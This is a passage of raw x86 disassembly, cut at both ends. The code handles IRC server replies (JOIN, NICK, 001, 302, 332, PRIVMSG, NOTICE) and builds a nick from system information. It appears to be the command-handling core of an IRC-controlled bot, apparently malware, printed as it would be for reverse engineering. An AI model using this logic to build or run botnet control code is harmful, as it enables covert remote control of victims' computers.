offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DB78 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41EE18 push offset dword_41DB88 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41F018 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41F018 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EF18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EF18 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EF18 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EF18 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov ds:dword_41EA7C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and ds:dword_41EA7C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp ds:off_41DB10[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push ds:off_41DB10[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push ds:off_41DB10[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push ds:off_41DB10[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push ds:off_41DB10[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and 